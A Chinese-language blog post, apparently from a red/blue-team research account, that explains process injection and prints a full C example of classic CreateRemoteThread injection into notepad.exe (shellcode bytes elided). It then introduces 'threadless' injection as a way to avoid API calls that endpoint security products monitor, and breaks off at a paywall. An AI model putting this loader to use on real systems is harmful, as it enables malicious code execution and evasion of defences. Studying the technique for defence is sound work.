0x01 原理介绍
传统进程注入
一般来说,传统的进程注入技术需要以下步骤:
下面是一段经典的通过创建远线程进行进程注入的代码:
unsigned char shellcode[] = {......};
int main()
{ // 获取目标进程pid
DWORD dwProcessId = FindProcessIDByProcessName(TEXT("notepad.exe"));
//printf("Injecting to PID: %i", dwProcessId);
// 获取目标进程句柄
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (processHandle == NULL) {
//printf("OpenProcess error1:%dn", GetLastError());
return 0;
}
// 在目标进程分配内存空间
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
if (remoteBuffer == NULL) {
//printf("VirtualAlloc error2:%dn", GetLastError());
return 0;
}
// 将shellcode写入分配的内存空间
BOOL processMemory = WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL);
if (processMemory == 0) {
//printf("WriteProcessMemory error3:%dn", GetLastError());
return 0;
}
// 创建远程线程执行写入的shellcode
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
if (remoteThread == NULL) {
//printf("CreateRemoteThread error4:%dn", GetLastError());
return 0;
}
CloseHandle(processHandle);
return 0;
}
有些技术并不需要上面的所有步骤。例如,将远程进程中的内存分配为 RWX,无需更改内存保护属性。或者调用 NtMapViewOfSection,在同一步骤中分配内存并将其写入远程进程。
所以说上面的4步可以精简成核心的2步操作,即 内存分配写入数据 和 内存数据执行,这两种动作的实现方式也不止一种,我们可以混合这些手法来实现不同的技术。
但是,所有传统进程注入技术都需要的一件事是执行写入的shellcode。通常会调用的API是 CreateRemoteThread/QueueUserAPC/SetThreadContext(或其 Nt 函数等效项)等,或者利用回调函数 。因此,终端安全产品会对这些API的调用进行严格检查。
0x02 无线程进程注入
所谓无线程进程注入,就是省去了手动执行写入内存的数据这一步骤。这一技术的原理如下:
(后续内容付费2元(iPhone用户建议网页版付费 苹果税你懂的),含原理、代码解析和复现,咱不割韭菜,也不建圈子~ 后续文章依然以免费为主)
原文始发于微信公众号(红蓝攻防研究实验室):进程注入——ThreadlessInject无线程注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论